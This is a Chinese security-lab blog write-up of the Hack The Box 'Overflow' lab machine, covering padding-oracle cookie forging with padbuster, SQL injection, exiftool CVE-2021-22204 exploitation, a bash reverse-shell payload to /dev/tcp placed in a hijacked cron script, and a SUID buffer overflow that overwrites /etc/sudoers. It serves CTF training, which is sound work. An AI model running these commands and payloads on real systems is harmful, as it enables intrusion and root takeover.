点击蓝字 关注我们
日期:2022-06-16 作者:herbmint 介绍:Hackthebox-Overflow 靶机实战。
0x00 前言
Overflow
靶机为Linux
机器,上线时间为2021年10月23日
,难度等级hard
,官方评分4.8
,主机IP
为10.10.11.119
。
0x01 靶场环境信息
1.1 信息搜集
1)使用nmap
进行端口扫描,开放端口有22、25、80
。
2)使用dirb
进行目录扫描,扫描到的目录有/assets、/config、/home
。
1.2 漏洞探测
1)访问80
端口,此端口搭建有Web
页面,此页面存在登录和注册两个功能点。
2)先对登录点尝试弱口令登录,无法登录成功。
3)对注册点尝试注册账号登录。
4)注册成功之后,自动跳转进入系统。
进入此系统后发现可点击模块有Profile
和Blog
,但是都无法进行利用。
5)扫描一下/home
后是否还有其他的可供利用的目录,发现一个logs.php
路径。
6)访问logs.php
路径提示权限不足,据此可以判断可能存在更高权限用户。
7)根据现在的已知信息,无法获取到可利用的信息,使用burp抓取登录后的数据包查看,发现登录成功后会生成一个auto
会话的cookie
。
8)尝试更改auto
的cookie
值,提示填充错误。由此可以判断此处可能使用了CBC
加密,或许存在Padding Oracle
漏洞。
1.3 利用 Padding Oracle 漏洞
尝试使用自动化工具PadBuster
来进行攻击。
1)使用PadBuster
来解密cookie
,成功解密出我们的用户名。
padbuster http://10.10.11.119/home/index.php IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM 8 -cookies auth=IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM -encoding 0
2)现在我们来伪造admin
用户来获取管理员账户的cookie
,成功获取到管理员权限的cookie
值。
padbuster http://10.10.11.119/home/index.php IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM 8 -cookies auth=IU0nzRdPF5%2FwPrVDauOqIPTghMrRbUxM -encoding 0 -plaintext "user=Admin"
3)将auto
会话的cookie
值更改为admin
权限的cookie
值。
4)成功以管理员的身份登录到此系统,可以看到以管理员身份登录系统比普通用户登录系统多了Admin Panel
和Logs
模块。
5)点击管理面板查看,发现这是一个CMS Made Simple
系统的登录页面,尝试使用刚才注册的账号密码登录,登录失败。
6)查看Logs
模块,这是一个未定义模块,无法进行利用。查看其他剩余模块,一样无法进行利用。
7)当我们利用admin
身份登录系统之后,会出现一个get
请求信息,里面有一个路径信息和主机信息。
8)访问此路径,发现其显示的信息为admin
用户的最后登录信息。
9)尝试构造单引号报错,页面不显示任何信息,抓包传输显示服务器错误,判断此处可能存在注入漏洞,使用sqlmap
进行判断发现确实存在注入漏洞。
1.4 利用注入漏洞
1)查询完毕当前数据库信息、表名、列名之后,将password
和username
的信息转储出来。
2)获取到用户名和hash
值,尝试对hash
值进行解密,但是无法解密出此hash
值,可能使用了我们不知道加密盐值。
3)通过搜索配置文档,发现此cms
可以利用数据库查询重置密码。
update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'NEW_PASSWORD'))) where username = 'USER_NAME'
此命令表示hash
值是通过连接cmd_siteprefs
表中的sitemask
值和更新的密码来获取到整个字符串的md5
值。由此判断sitemask
的值可能就是我们的加密盐值。
4)尝试将cmd_siteprefs
表中的数据转储出来,查看sitemask
值。
5)获取到sitemark
的值之后,继续使用hashcat
来解密hash
的值。这里我们只解密出了editor
账户的密码alpha!@$%bravo
。
6)登录此cms
系统之后,对此系统的模块进行查看,在Extensions
模块下的User Defined Tags
有提及到另一台主机,并且提及到此台主机可以使用editor
账户进行登录。
1.5 利用 CVE-2021-22204 漏洞
1)将devbuild-job.overflow.htb
主机添加到hosts
文件中,并进行访问。
2)使用editor
账户进行登录此主机后,在Account
模块下发现有一个上传简历的模块,可以上传文件,并且有提示需要上传tiff/jpeg/jpg
格式的文件。
3)上传一个图片格式的文件之后,提示上传成功,就没有其他内容了,尝试抓包,查看一下它上传图片之后的操作。
发现提交完毕请求之后进行了一个302
跳转,此页面信息显示使用了exiftool
工具。
4)直接利用CVE-2021-22204
漏洞,修改POC
文件,生成可利用的jpg
文件之后上传,并在本地开启监听,成功获取一个服务器权限的shell
。
0x02 权限提升
2.1 提权用户权限
1)查看具有bash
权限的用户,发现有root
和tester
两个用户,并且在tester
的用户目录下发现存在user.txt
文件,但是我们无权访问。
2)查看tester
用户下的其他文件,访问都是提示权限不足。
3)因为此网站为php
网站,查看其默认的配置路径,发现数据库的配置文件,从中读取到了数据名和密码。
4)尝试利用此账户密码登录数据库文件,但是查询到的数据库为空,利用su
命令切换用户,利用密码登录之后,可以看到此账户的权限是network
权限(也可以使用ssh
来登录)。
整理已知信息可得,系统存在两个具有bash
权限的用户root
和tester
,也存在一个具备network
权限的用户developer
,在此developer
用户的权限下,查看之前服务器权限下具有tester
权限的文件。
5)邮箱信息依旧无权读取,但是那个脚本文件可以被查看,这个脚本文件的大致内容是每分钟执行一次从http://taskmanage.overflow.htb
主机下载task.sh
脚本文件。
6)我们将taskmanage.overflow.htb
指向我们的本机,并且在我们的本机创建一个task.sh
文件,task.sh
文件内容如下;
/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.19/7777 0>&1
7)在本地开启监听,等到脚本执行之后便会在我们本地反弹回shell
。可以看到我们成功获取到了tester
用户权限的shell
。
2.2 提权至 root 权限
1)利用linpeas
脚本辅助提权,发现了一个是root
权限且具有suid
权限的二进制文件。
2)切换到file_encrypt
目录下,发现除了此二进制文件还有一个说明文档。
tester@overflow:~$ cd /opt/file_encrypt
cd /opt/file_encrypt
tester@overflow:/opt/file_encrypt$ ls -al
ls -al
total 24
drwxr-x---+ 2 root root 4096 Sep 17 2021 .
drwxr-xr-x 3 root root 4096 Sep 17 2021 ..
-rwsr-xr-x 1 root root 11904 May 31 2021 file_encrypt
-rw-r--r-- 1 root root 399 May 30 2021 README.md
3)先尝试运行此二进制文件,发现需要PIN
码才可以运行。
tester@overflow:/opt/file_encrypt$ ./file_encrypt
./file_encrypt
This is the code 1804289383. Enter the Pin:
exit;
exit;
Wrong Pin
tester@overflow:/opt/file_encrypt$
4)查看一下file_encrypt
里的README.md
文件,里面提及到PIN
码应该存储在邮箱中。
tester@overflow:/opt/file_encrypt$ cat README.md
cat README.md
Our couple of reports have been leaked to avoid this. We have created a tool to encrypt your reports. Please check the pin feature of this application and report any issue that you get as this application is still in development. We have modified the tool a little bit that you can only use the pin feature now. The encrypt function is there but you can't use it now.The PIN should be in your inbox
tester@overflow:/opt/file_encrypt$
5)查看邮箱文件,未在里面看到什么有用信息,root
用户的邮箱文件是没有权限进行访问的。
6)直接查看此二进制文件内容,显示乱码;查看一下此二进制文件的类型,为32
位的文件。
tester@overflow:/opt/file_encrypt$ file file_encrypt
file file_encrypt
file_encrypt: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ae0f5750a8f1ac38945f813b5e34ddc166daf57, not stripped
tester@overflow:/opt/file_encrypt$
2.2.1分析二进制文件
将此二进制文件导出到本机,并对其进行分析。
1)查看main()
函数,发现其只对check_pin()
函数进行了调用。
undefined4 main(void)
{
check_pin();
return 0;
}
2)查看一下check_pin()
函数。
void check_pin(void)
{
undefined local_2c [20];
int local_18;
long local_14;
int local_10;
local_10 = rand();
local_14 = random();
printf("This is the code %i. Enter the Pin: ",local_10);
__isoc99_scanf(&DAT_00010d1d,&local_18);
if (local_14 == local_18) {
printf("name: ");
__isoc99_scanf(&DAT_00010c63,local_2c);
puts(
"Thanks for checking. You can give your feedback for improvements at [email protected]"
);
}
else {
puts("Wrong Pin");
}
return;
}
这段代码先是通过调用rand()
来产生随机数code
,然后生成一个Pin
数据,将随机数标准输出后请求Pin
,之后调用scanf
,如果两个参数相匹配,继续读取name
的值,并输出Thanks for checking. You can give your feedback for improvements at [email protected]
,如果参数不匹配,便会输出Pin
码错误。
因为没有设置伪随机数种子,所以在调用rand()
函数时,自动设置随机数种子为1
,因此每次生成的随机数(1804289383
)也都是相同的。
3)查看一下random()
函数:
long random(void)
{
uint in_stack_00000004;
uint local_c;
int local_8;
local_c = 0x6b8b4567;
for (local_8 = 0; local_8 < 10; local_8 = local_8 + 1) {
local_c = local_c * 0x59 + 0x14;
}
return local_c ^ in_stack_00000004;
}
这是创建Pin
码的函数,我们可以通过此函数生成有效的Pin
值。
4)由于in_stack_00000004
参数未被正确识别,我们可能需要重新定义此参数。
if (sym.getName().startsWith("in_stack_00000004")) {
possible =
"Too few stack parameters defined for this function. May need to
redefine parameters.";
}
5)查看local_10
的汇编代码,其中包含rand()
返回的代码,在调用random()
之前被推送到堆栈。
00010ac7 89 45 f4 MOV dword ptr [EBP + local_10],EAX
00010aca 83 ec 0c SUB ESP,0xc
00010acd ff 75 f4 PUSH dword ptr [EBP + local_10]
00010ad0 e8 48 fd CALL random
long random(void)
6)由此我们可以假设in_stack_00000004
中的值与之前的代码中的值(1804289383
)相同,由rand()
返回,并放入到local_10()
,而且in_stack_00000004
将相同的值赋给local_c
。据此前提我们可以创建一个pin.c
文件来获取一个Pin
值,并在file_encrypt
中验证我们的猜测。
pin.c文件:
#include <stdio.h>
int main(void)
{
unsigned int code = 1804289383;
unsigned int local_c = 0x6b8b4567;
int local_8;
for (local_8 = 0; local_8 < 10; local_8 = local_8 + 1) {
local_c = local_c * 0x59 + 0x14;
}
printf("%dn", local_c ^ code);
return 0;
}
7)编译pin.c
文件,并运行,获取到Pin
值。
┌──(herbmint㉿root)-[~/桌面]
└─$ vim pin.c
┌──(herbmint㉿root)-[~/桌面]
└─$ gcc -o pin pin.c
┌──(herbmint㉿root)-[~/桌面]
└─$ ./pin
-202976456
8)使用此Pin
值去运行file_encrypt
文件。
tester@overflow:/opt/file_encrypt$ ./file_encrypt
./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: 123
123
Thanks for checking. You can give your feedback for improvements at [email protected]
tester@overflow:/opt/file_encrypt$
根据check_pin()
处的函数可知,在调用scanf()
函数的时候没有对输入长度和保存名称处做任何检查,并且保存名称字符串的缓冲区有32
个字符长度。这可能会导致scanf()
函数容易出现基于堆栈的缓冲区溢出。
9)输入44
个长度的字符,发现提示分割错误。
tester@overflow:/opt/file_encrypt$ ./file_encrypt
./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: 11111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111
Thanks for checking. You can give your feedback for improvements at [email protected]
Segmentation fault (core dumped)
tester@overflow:/opt/file_encrypt$
10)通过gdb
来运行此二进制文件来验证EIP
覆盖的偏移量。
tester@overflow:/opt/file_encrypt$ gdb file_encrypt
gdb file_encrypt
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from file_encrypt...(no debugging symbols found)...done.
(gdb) run
run
Starting program: /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: 1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
Thanks for checking. You can give your feedback for improvements at [email protected]
[Inferior 1 (process 39796) exited normally]
(gdb) run
run
Starting program: /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: 11111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111
Thanks for checking. You can give your feedback for improvements at [email protected]
Program received signal SIGSEGV, Segmentation fault.
0x56555b00 in check_pin ()
(gdb) run
run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
y
Starting program: /opt/file_encrypt/file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: 11111111111111111111111111111111111111111111aa
11111111111111111111111111111111111111111111aa
Thanks for checking. You can give your feedback for improvements at [email protected]
Program received signal SIGSEGV, Segmentation fault.
0x56006161 in ?? ()
(gdb)
当不足44
个字符的时候,程序正常退出,为44
字符时显示分割故障,超过44
个字符便会导致EIP
被覆盖,这证明偏移量就是44
个字符。
11)查看一下encrypt
函数的调试信息。
(gdb) info function encrypt
info function encrypt
All functions matching regular expression "encrypt":
Non-debugging symbols:
0x5655585b encrypt
0xf7f11240 key_encryptsession
0xf7f11380 key_encryptsession_pk
0xf7f13f70 xencrypt
(gdb)
12)查看encrypt()
函数。
void encrypt(char *__block,int __edflag)
{
int iVar1;
int *piVar2;
char *pcVar3;
undefined4 local_98;
undefined4 local_94;
undefined4 local_90;
undefined4 local_8c;
undefined4 local_88;
undefined4 local_84;
undefined4 local_80;
undefined4 local_7c;
undefined4 local_78;
undefined4 local_74;
stat local_70;
uint local_18;
FILE *local_14;
FILE *local_10;
local_84 = 0;
local_80 = 0;
local_7c = 0;
local_78 = 0;
local_74 = 0;
local_98 = 0;
local_94 = 0;
local_90 = 0;
local_8c = 0;
local_88 = 0;
printf("Enter Input File: ");
__isoc99_scanf(&DAT_00010c63,&local_84);
printf("Enter Encrypted File: ");
__isoc99_scanf(&DAT_00010c63,&local_98);
iVar1 = stat((char *)&local_84,&local_70);
if (iVar1 < 0) {
piVar2 = __errno_location();
pcVar3 = strerror(*piVar2);
fprintf(stderr,"Failed to stat %s: %sn",&local_84,pcVar3);
/* WARNING: Subroutine does not return */
exit(1);
}
if (local_70.st_uid == 0) {
fprintf(stderr,"File %s is owned by rootn",&local_84);
/* WARNING: Subroutine does not return */
exit(1);
}
sleep(3);
local_10 = fopen((char *)&local_84,"rb");
if (local_10 == (FILE *)0x0) {
piVar2 = __errno_location();
pcVar3 = strerror(*piVar2);
fprintf((FILE *)"cannot open input file %s: %sn",(char *)&local_84,pcVar3);
}
else {
local_14 = fopen((char *)&local_98,"wb");
if (local_14 == (FILE *)0x0) {
piVar2 = __errno_location();
pcVar3 = strerror(*piVar2);
fprintf((FILE *)"cannot open output file %s: %sn",(char *)&local_98,pcVar3);
fclose(local_10);
}
else {
while( true ) {
local_18 = _IO_getc(local_10);
if (local_18 == 0xffffffff) break;
_IO_putc(local_18 ^ 0x9b,local_14);
}
fclose(local_10);
fclose(local_14);
}
}
return;
}
对此函数分析可得,该程序可以将输入的文件加密后输出到新的位置,它通过读取文件并使用0x9b
对其进行异或运算来实现的,这是一种对称操作。但是当输入的文件输入root
用户的时候,程序会出现错误,输出文件为root
用户时,不会出错。
因此我们可以在本地创建一个sudoers
文件,在此文件中将tester
用户的密码置空,然后运行程序对此文件加密获取加密文件,之后运行程序解密加密文件并将其覆盖系统的/etc/sudoers
文件。
2.2.2权限提升
1)创建一个tester
用户密码为空的sudoers
文件。
tester@overflow:/opt/file_encrypt$ cd /tmp
cd /tmp
tester@overflow:/tmp$ echo "tester ALL=(ALL) NOPASSWD:ALL" > /tmp/sudoers
echo "tester ALL=(ALL) NOPASSWD:ALL" > /tmp/sudoers
2)运行此二进制文件。
tester@overflow:/opt/file_encrypt$ ./file_encrypt
./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at [email protected]
Enter Input File: /tmp/sudoers
/tmp/sudoers
Enter Encrypted File: /tmp/sudoencry
/tmp/sudoencry
Segmentation fault (core dumped)
tester@overflow:/opt/file_encrypt$
3)可以看到我们成功获取到加密文件sudoencry
。
tester@overflow:/tmp$ ls -al
ls -al
total 52
drwxrwxrwt 11 root root 4096 Apr 22 08:06 .
drwxr-xr-x 25 root root 4096 Jan 26 21:08 ..
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .font-unix
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .ICE-unix
-rw-rw-r-- 1 root tester 30 Apr 22 08:06 sudoencry
-rw-rw-r-- 1 tester tester 30 Apr 22 08:00 sudoers
drwx------ 3 root root 4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-apache2.service-Hk9qOd
drwx------ 3 root root 4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-resolved.service-fPq7pI
drwx------ 3 root root 4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-timesyncd.service-ZUIBKI
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .Test-unix
drwx------ 2 root root 4096 Apr 22 07:46 vmware-root_658-2697598381
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .X11-unix
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .XIM-unix
tester@overflow:/tmp$
4)因为加密文件属于root
用户,所以我们将加密文件复制出来,复制到tester
下。
tester@overflow:/tmp$ cp sudoencry encry
cp sudoencry encry
tester@overflow:/tmp$ ls -al
ls -al
total 56
drwxrwxrwt 11 root root 4096 Apr 22 08:17 .
drwxr-xr-x 25 root root 4096 Jan 26 21:08 ..
-rw-rw-r-- 1 tester tester 30 Apr 22 08:17 encry
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .font-unix
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .ICE-unix
-rw-rw-r-- 1 root tester 30 Apr 22 08:06 sudoencry
-rw-rw-r-- 1 tester tester 30 Apr 22 08:00 sudoers
drwx------ 3 root root 4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-apache2.service-Hk9qOd
drwx------ 3 root root 4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-resolved.service-fPq7pI
drwx------ 3 root root 4096 Apr 22 07:45 systemd-private-2d5aa3aa2d594fca9c9bc228ef7dddf9-systemd-timesyncd.service-ZUIBKI
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .Test-unix
drwx------ 2 root root 4096 Apr 22 07:46 vmware-root_658-2697598381
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .X11-unix
drwxrwxrwt 2 root root 4096 Apr 22 07:45 .XIM-unix
5)解密此文件,使其覆盖/etc/sudoers
文件。
tester@overflow:/tmp$ cd /opt/file_encrypt
cd /opt/file_encrypt
tester@overflow:/opt/file_encrypt$ ./file_encrypt
./file_encrypt
This is the code 1804289383. Enter the Pin: -202976456
-202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at [email protected]
Enter Input File: /tmp/encry
/tmp/encry
Enter Encrypted File: /etc/sudoers
/etc/sudoers
Segmentation fault (core dumped)
tester@overflow:/opt/file_encrypt$
6)成功获取到root
权限。
tester@overflow:/opt/file_encrypt$ sudo -l
sudo -l
User tester may run the following commands on overflow:
(ALL) NOPASSWD: ALL
tester@overflow:/opt/file_encrypt$ sudo -i
sudo -i
root@overflow:~# ls -al
ls -al
total 44
drwx------ 6 root root 4096 Sep 30 2021 .
drwxr-xr-x 25 root root 4096 Jan 26 21:08 ..
lrwxrwxrwx 1 root root 9 Sep 27 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3151 May 28 2021 .bashrc
drwx------ 3 root root 4096 May 25 2021 .cache
-rwx------ 1 root root 311 Sep 30 2021 clean_sql.sh
drwx------ 3 root root 4096 May 19 2021 .gnupg
-rwxr-xr-- 1 root root 201 May 26 2021 .hosts
drwxr-xr-x 3 root root 4096 Sep 28 2021 .local
lrwxrwxrwx 1 root root 9 Sep 27 2021 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r----- 1 root root 33 Apr 22 07:46 root.txt
drwx------ 2 root root 4096 Sep 30 2021 .ssh
root@overflow:~# cat root.txt
cat root.txt
ccae90530a9613297a9306b8266ee87a
root@overflow:~#
0x03 总结
此靶机利用到了Padding Oracle attack
来登录系统,并通过注入漏洞登录到CMS
系统,在CMS
系统中获取到新的主机信息,登录到新的主机之后利用exiftool
漏洞获取到第一个服务器权限的shell
,利用网站的默认配置路径获取到另一个服务器用户,通过运行可登录用户主机的脚本文件,来获取到用户主机的权限,最后通过缓冲区溢出来获取到最终的root
权限。
https://pentesterlab.com/exercises/padding_oracle/course
https://www.jianshu.com/p/833582b2f560
https://cmscanbesimple.org/blog/cms-made-simple-admin-password-recovery
https://github.com/convisolabs/CVE-2021-22204-exiftool
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
Cyber Security Lab
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
原文始发于微信公众号(宸极实验室):『靶场』Hackthebox-Overflow 靶机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论